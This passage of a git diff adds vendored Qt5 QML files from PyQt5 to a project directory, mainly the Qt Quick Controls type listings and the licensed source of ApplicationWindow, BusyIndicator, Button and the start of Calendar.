2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickBusyIndicator" + name: "QtQuick.Controls/BusyIndicator 2.0" + exports: ["QtQuick.Controls/BusyIndicator 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickButton" + name: "QtQuick.Controls/Button 2.0" + exports: ["QtQuick.Controls/Button 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickButtonGroup" + name: "QtQuick.Controls/ButtonGroup 2.0" + exports: ["QtQuick.Controls/ButtonGroup 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + } + Component { + prototype: "QQuickCheckBox" + name: "QtQuick.Controls/CheckBox 2.0" + exports: ["QtQuick.Controls/CheckBox 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickCheckDelegate" + name: "QtQuick.Controls/CheckDelegate 2.0" + exports: ["QtQuick.Controls/CheckDelegate 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickComboBox" + name: "QtQuick.Controls/ComboBox 2.0" + exports: ["QtQuick.Controls/ComboBox 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickContainer" + name: "QtQuick.Controls/Container 2.0" + exports: ["QtQuick.Controls/Container 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickControl" + name: "QtQuick.Controls/Control 2.0" + exports: ["QtQuick.Controls/Control 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickDelayButton" + name: "QtQuick.Controls/DelayButton 2.2" + exports: ["QtQuick.Controls/DelayButton 2.2"] + exportMetaObjectRevisions: [2] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickDial" + name: "QtQuick.Controls/Dial 2.0" + exports: ["QtQuick.Controls/Dial 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickDialog" + name: "QtQuick.Controls/Dialog 2.1" + exports: ["QtQuick.Controls/Dialog 2.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickDialogButtonBox" + name: "QtQuick.Controls/DialogButtonBox 2.1" + exports: ["QtQuick.Controls/DialogButtonBox 2.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickDrawer" + name: "QtQuick.Controls/Drawer 2.0" + exports: ["QtQuick.Controls/Drawer 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickFrame" + name: "QtQuick.Controls/Frame 2.0" + exports: ["QtQuick.Controls/Frame 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickGroupBox" + name: "QtQuick.Controls/GroupBox 2.0" + exports: ["QtQuick.Controls/GroupBox 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickHorizontalHeaderView" + name: "QtQuick.Controls/HorizontalHeaderView 2.15" + exports: ["QtQuick.Controls/HorizontalHeaderView 2.15"] + exportMetaObjectRevisions: [15] + isComposite: true + defaultProperty: "flickableData" + } + Component { + prototype: "QQuickItemDelegate" + name: "QtQuick.Controls/ItemDelegate 2.0" + exports: ["QtQuick.Controls/ItemDelegate 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickLabel" + name: "QtQuick.Controls/Label 2.0" + exports: ["QtQuick.Controls/Label 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickMenu" + name: "QtQuick.Controls/Menu 2.0" + exports: ["QtQuick.Controls/Menu 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickMenuBar" + name: "QtQuick.Controls/MenuBar 2.3" + exports: ["QtQuick.Controls/MenuBar 2.3"] + exportMetaObjectRevisions: [3] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickMenuBarItem" + name: "QtQuick.Controls/MenuBarItem 2.3" + exports: ["QtQuick.Controls/MenuBarItem 2.3"] + exportMetaObjectRevisions: [3] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickMenuItem" + name: "QtQuick.Controls/MenuItem 2.0" + exports: ["QtQuick.Controls/MenuItem 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickMenuSeparator" + name: "QtQuick.Controls/MenuSeparator 2.1" + exports: ["QtQuick.Controls/MenuSeparator 2.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickPage" + name: "QtQuick.Controls/Page 2.0" + exports: ["QtQuick.Controls/Page 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickPageIndicator" + name: "QtQuick.Controls/PageIndicator 2.0" + exports: ["QtQuick.Controls/PageIndicator 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickPane" + name: "QtQuick.Controls/Pane 2.0" + exports: ["QtQuick.Controls/Pane 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickPopup" + name: "QtQuick.Controls/Popup 2.0" + exports: ["QtQuick.Controls/Popup 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickProgressBar" + name: "QtQuick.Controls/ProgressBar 2.0" + exports: ["QtQuick.Controls/ProgressBar 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickRadioButton" + name: "QtQuick.Controls/RadioButton 2.0" + exports: ["QtQuick.Controls/RadioButton 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickRadioDelegate" + name: "QtQuick.Controls/RadioDelegate 2.0" + exports: ["QtQuick.Controls/RadioDelegate 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickRangeSlider" + name: "QtQuick.Controls/RangeSlider 2.0" + exports: ["QtQuick.Controls/RangeSlider 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickRoundButton" + name: "QtQuick.Controls/RoundButton 2.1" + exports: ["QtQuick.Controls/RoundButton 2.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickScrollBar" + name: "QtQuick.Controls/ScrollBar 2.0" + exports: ["QtQuick.Controls/ScrollBar 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickScrollIndicator" + name: "QtQuick.Controls/ScrollIndicator 2.0" + exports: ["QtQuick.Controls/ScrollIndicator 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickScrollView" + name: "QtQuick.Controls/ScrollView 2.2" + exports: ["QtQuick.Controls/ScrollView 2.2"] + exportMetaObjectRevisions: [2] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickSlider" + name: "QtQuick.Controls/Slider 2.0" + exports: ["QtQuick.Controls/Slider 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickSpinBox" + name: "QtQuick.Controls/SpinBox 2.0" + exports: ["QtQuick.Controls/SpinBox 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickSplitView" + name: "QtQuick.Controls/SplitView 2.13" + exports: ["QtQuick.Controls/SplitView 2.13"] + exportMetaObjectRevisions: [13] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickStackView" + name: "QtQuick.Controls/StackView 2.0" + exports: ["QtQuick.Controls/StackView 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickSwipeDelegate" + name: "QtQuick.Controls/SwipeDelegate 2.0" + exports: ["QtQuick.Controls/SwipeDelegate 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickSwipeView" + name: "QtQuick.Controls/SwipeView 2.0" + exports: ["QtQuick.Controls/SwipeView 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickSwitch" + name: "QtQuick.Controls/Switch 2.0" + exports: ["QtQuick.Controls/Switch 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickSwitchDelegate" + name: "QtQuick.Controls/SwitchDelegate 2.0" + exports: ["QtQuick.Controls/SwitchDelegate 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickTabBar" + name: "QtQuick.Controls/TabBar 2.0" + exports: ["QtQuick.Controls/TabBar 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickTabButton" + name: "QtQuick.Controls/TabButton 2.0" + exports: ["QtQuick.Controls/TabButton 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickTextArea" + name: "QtQuick.Controls/TextArea 2.0" + exports: ["QtQuick.Controls/TextArea 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickTextField" + name: "QtQuick.Controls/TextField 2.0" + exports: ["QtQuick.Controls/TextField 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickToolBar" + name: "QtQuick.Controls/ToolBar 2.0" + exports: ["QtQuick.Controls/ToolBar 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickToolButton" + name: "QtQuick.Controls/ToolButton 2.0" + exports: ["QtQuick.Controls/ToolButton 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickToolSeparator" + name: "QtQuick.Controls/ToolSeparator 2.1" + exports: ["QtQuick.Controls/ToolSeparator 2.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickToolTip" + name: "QtQuick.Controls/ToolTip 2.0" + exports: ["QtQuick.Controls/ToolTip 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentData" + } + Component { + prototype: "QQuickTumbler" + name: "QtQuick.Controls/Tumbler 2.0" + exports: ["QtQuick.Controls/Tumbler 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickVerticalHeaderView" + name: "QtQuick.Controls/VerticalHeaderView 2.15" + exports: ["QtQuick.Controls/VerticalHeaderView 2.15"] + exportMetaObjectRevisions: [15] + isComposite: true + defaultProperty: "flickableData" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/qmldir new file mode 100644 index 00000000..c9ccb8f9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/qmldir @@ -0,0 +1,5 @@ +module QtQuick.Controls +plugin qtquickcontrols2plugin +classname QtQuickControls2Plugin +depends QtQuick.Templates 2.5 +designersupported diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/qtquickcontrols2plugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/qtquickcontrols2plugin.dll new file mode 100644 index 00000000..5aa32492 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/qtquickcontrols2plugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ApplicationWindow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ApplicationWindow.qml new file mode 100644 index 00000000..7d215556 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ApplicationWindow.qml @@ -0,0 +1,265 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick.Window 2.2 +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Layouts 1.0 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ApplicationWindow + \since 5.1 + \inqmlmodule QtQuick.Controls + \ingroup applicationwindow + \ingroup controls + \brief Provides a top-level application window. + + \image applicationwindow.png + + ApplicationWindow is a \l Window that adds convenience for positioning items, + such as \l MenuBar, \l ToolBar, and \l StatusBar in a platform independent + manner. + + \code + ApplicationWindow { + id: window + visible: true + + menuBar: MenuBar { + Menu { MenuItem {...} } + Menu { MenuItem {...} } + } + + toolBar: ToolBar { + RowLayout { + anchors.fill: parent + ToolButton {...} + } + } + + TabView { + id: myContent + anchors.fill: parent + ... + } + } + \endcode + + \note By default, an ApplicationWindow is not visible. + + The \l{Qt Quick Controls 1 - Gallery} example is a good starting + point to explore this type. +*/ + +Window { + id: root + + /*! + \qmlproperty MenuBar ApplicationWindow::menuBar + + This property holds the \l MenuBar. + + By default, this value is not set. + */ + property MenuBar menuBar: null + + /*! + \qmlproperty Item ApplicationWindow::toolBar + + This property holds the toolbar \l Item. + + It can be set to any Item type, but is generally used with \l ToolBar. + + By default, this value is not set. When you set the toolbar item, it will + be anchored automatically into the application window. + */ + property Item toolBar + + /*! + \qmlproperty Item ApplicationWindow::statusBar + + This property holds the status bar \l Item. + + It can be set to any Item type, but is generally used with \l StatusBar. + + By default, this value is not set. When you set the status bar item, it + will be anchored automatically into the application window. + */ + property Item statusBar + + // The below documentation was supposed to be written as a grouped property, but qdoc would + // not render it correctly due to a bug (QTBUG-34206) + /*! + \qmlproperty ContentItem ApplicationWindow::contentItem + + This group holds the size constraints of the content item. This is the area between the + \l ToolBar and the \l StatusBar. + The \l ApplicationWindow will use this as input when calculating the effective size + constraints of the actual window. + It holds these 6 properties for describing the minimum, implicit and maximum sizes: + \table + \header \li Grouped property \li Description + \row \li contentItem.minimumWidth \li The minimum width of the content item. + \row \li contentItem.minimumHeight \li The minimum height of the content item. + \row \li contentItem.implicitWidth \li The implicit width of the content item. + \row \li contentItem.implicitHeight \li The implicit height of the content item. + \row \li contentItem.maximumWidth \li The maximum width of the content item. + \row \li contentItem.maximumHeight \li The maximum height of the content item. + \endtable + */ + property alias contentItem : contentArea + + /*! The style Component for the window. + \sa {Qt Quick Controls 1 Styles QML Types} + */ + property Component style: Settings.styleComponent(Settings.style, "ApplicationWindowStyle.qml", root) + + /*! \internal */ + property alias __style: styleLoader.item + + /*! \internal */ + property alias __panel: panelLoader.item + + /*! \internal */ + property real __topBottomMargins: __panel.contentArea.y + __panel.statusBarArea.height + /*! \internal + There is a similar macro QWINDOWSIZE_MAX in qwindow_p.h that is used to limit the + range of QWindow::maximum{Width,Height} + However, in case we have a very big number (> 2^31) conversion will fail, and it will be + converted to 0, resulting in that we will call setMaximumWidth(0).... + We therefore need to enforce the limit at a level where we are still operating on + floating point values. + */ + readonly property real __qwindowsize_max: (1 << 24) - 1 + + /*! \internal */ + property real __width: 0 + Qml.Binding { + target: root + property: "__width" + when: (root.minimumWidth <= root.maximumWidth) && !contentArea.__noImplicitWidthGiven + value: Math.max(Math.min(root.maximumWidth, contentArea.implicitWidth), root.minimumWidth) + restoreMode: Binding.RestoreBinding + } + /*! \internal */ + property real __height: 0 + Qml.Binding { + target: root + property: "__height" + when: (root.minimumHeight <= root.maximumHeight) && !contentArea.__noImplicitHeightGiven + value: Math.max(Math.min(root.maximumHeight, contentArea.implicitHeight + __topBottomMargins), root.minimumHeight) + restoreMode: Binding.RestoreBinding + } + /* As soon as an application developer writes + width: 200 + this binding will be broken. This is the reason for this indirection + via __width (and __height) + */ + width: __width + height: __height + + minimumWidth: contentArea.__noMinimumWidthGiven ? 0 : contentArea.minimumWidth + minimumHeight: contentArea.__noMinimumHeightGiven ? 0 : (contentArea.minimumHeight + __topBottomMargins) + + maximumWidth: Math.min(__qwindowsize_max, contentArea.maximumWidth) + maximumHeight: Math.min(__qwindowsize_max, contentArea.maximumHeight + __topBottomMargins) + + /*! \internal */ + default property alias data: contentArea.data + + flags: Qt.Window | Qt.WindowFullscreenButtonHint | + Qt.WindowTitleHint | Qt.WindowSystemMenuHint | Qt.WindowMinMaxButtonsHint | + Qt.WindowCloseButtonHint | Qt.WindowFullscreenButtonHint + // QTBUG-35049: Windows is removing features we didn't ask for, even though Qt::CustomizeWindowHint is not set + // Otherwise Qt.Window | Qt.WindowFullscreenButtonHint would be enough + + Loader { + id: panelLoader + anchors.fill: parent + sourceComponent: __style ? __style.panel : null + onStatusChanged: if (status === Loader.Error) console.error("Failed to load Style for", root) + focus: true + Loader { + id: styleLoader + sourceComponent: style + property var __control: root + property QtObject styleData: QtObject { + readonly property bool hasColor: root.color != "#ffffff" + } + onStatusChanged: if (status === Loader.Error) console.error("Failed to load Style for", root) + } + + Qml.Binding { + target: toolBar + property: "parent" + value: __panel.toolBarArea + restoreMode: Binding.RestoreBinding + } + Qml.Binding { + target: statusBar + property: "parent" + value: __panel.statusBarArea + restoreMode: Binding.RestoreBinding + } + + Qml.Binding { + property: "parent" + target: menuBar ? menuBar.__contentItem : null + when: menuBar && !menuBar.__isNative + value: __panel.menuBarArea + restoreMode: Binding.RestoreBinding + } + Qml.Binding { + target: menuBar + property: "__parentWindow" + value: root + restoreMode: Binding.RestoreBinding + } + + Keys.forwardTo: menuBar ? [menuBar.__contentItem, __panel] : [] + + ContentItem { + id: contentArea + anchors.fill: parent + parent: __panel.contentArea + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ApplicationWindow.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ApplicationWindow.qmlc new file mode 100644 index 00000000..1d62e59f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ApplicationWindow.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/BusyIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/BusyIndicator.qml new file mode 100644 index 00000000..6c9972ad --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/BusyIndicator.qml @@ -0,0 +1,85 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype BusyIndicator + \inqmlmodule QtQuick.Controls + \since 5.2 + \ingroup controls + \brief A busy indicator. + + \image busyindicator.png + + The busy indicator should be used to indicate activity while content is + being loaded or the UI is blocked waiting for a resource to become available. + + The following snippet shows how to use the BusyIndicator: + + \qml + BusyIndicator { + running: image.status === Image.Loading + } + \endqml + + You can create a custom appearance for a Busy Indicator by + assigning a \l {BusyIndicatorStyle}. + */ +Control { + id: indicator + + /*! \qmlproperty bool BusyIndicator::running + + This property holds whether the busy indicator is currently indicating + activity. + + \note The indicator is only visible when this property is set to \c true. + + The default value is \c true. + */ + property bool running: true + + Accessible.role: Accessible.Indicator + Accessible.name: "busy" + + style: Settings.styleComponent(Settings.style, "BusyIndicatorStyle.qml", indicator) +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/BusyIndicator.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/BusyIndicator.qmlc new file mode 100644 index 00000000..7d8ba9f5 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/BusyIndicator.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Button.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Button.qml new file mode 100644 index 00000000..c3f29238 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Button.qml @@ -0,0 +1,134 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype Button + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup controls + \brief A push button with a text label. + + \image button.png + + The push button is perhaps the most commonly used widget in any graphical + user interface. Pushing (or clicking) a button commands the computer to + perform some action or answer a question. Common examples of buttons are + OK, Apply, Cancel, Close, Yes, No, and Help buttons. + + \qml + Button { + text: "Button" + } + \endqml + + Button is similar to the QPushButton widget. + + You can create a custom appearance for a Button by + assigning a \l {ButtonStyle}. + */ +BasicButton { + id: button + + /*! This property holds whether the push button is the default button. + Default buttons decide what happens when the user presses enter in a + dialog without giving a button explicit focus. \note This property only + changes the appearance of the button. The expected behavior needs to be + implemented by the user. + + The default value is \c false. + */ + property bool isDefault: false + + /*! Assign a \l Menu to this property to get a pull-down menu button. + + The default value is \c null. + */ + property Menu menu: null + + __effectivePressed: __behavior.effectivePressed || menu && menu.__popupVisible + + activeFocusOnTab: true + + Accessible.name: text + + style: Settings.styleComponent(Settings.style, "ButtonStyle.qml", button) + + Qml.Binding { + target: menu + property: "__minimumWidth" + value: button.__panel.width + restoreMode: Binding.RestoreBinding + } + + Qml.Binding { + target: menu + property: "__visualItem" + value: button + restoreMode: Binding.RestoreBinding + } + + Connections { + target: __behavior + function onEffectivePressedChanged() { + if (!Settings.hasTouchScreen && __behavior.effectivePressed && menu) + popupMenuTimer.start() + } + function onReleased() { + if (Settings.hasTouchScreen && __behavior.containsMouse && menu) + popupMenuTimer.start() + } + } + + Timer { + id: popupMenuTimer + interval: 10 + onTriggered: { + __behavior.keyPressed = false + if (Qt.application.layoutDirection === Qt.RightToLeft) + menu.__popup(Qt.rect(button.width, button.height, 0, 0), 0) + else + menu.__popup(Qt.rect(0, button.height, 0, 0), 0) + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Button.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Button.qmlc new file mode 100644 index 00000000..eead900b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Button.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Calendar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Calendar.qml new file mode 100644 index 00000000..bf3d6737 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Calendar.qml @@ -0,0 +1,456 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.9 +import QtQuick.Controls 1.5 +import QtQuick.Controls.Styles 1.1 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype Calendar + \inqmlmodule QtQuick.Controls + \since 5.3 + \ingroup controls + \brief Provides a way to select dates from a calendar. + + \image calendar.png + + Calendar allows selection of dates from a grid of days, similar to + QCalendarWidget. + + The dates on the calendar can be selected with the mouse, or navigated + with the keyboard. + + The selected date can be set through \l selectedDate. + A minimum and maximum date can be set through \l minimumDate and + \l maximumDate. The earliest minimum date that can be set is 1 January, 1 + AD. The latest maximum date that can be set is 25 October, 275759 AD. + + \code + Calendar { + minimumDate: new Date(2017, 0, 1) + maximumDate: new Date(2018, 0, 1) + } + \endcode + + The selected date is displayed using the format in the application's + default locale. + + Week numbers can be displayed by setting the weekNumbersVisible property to + \c true. + + \qml + Calendar { + weekNumbersVisible: true + } + \endqml + + You can create a custom appearance for Calendar by assigning a + \l {CalendarStyle}. +*/ + +Control { + id: 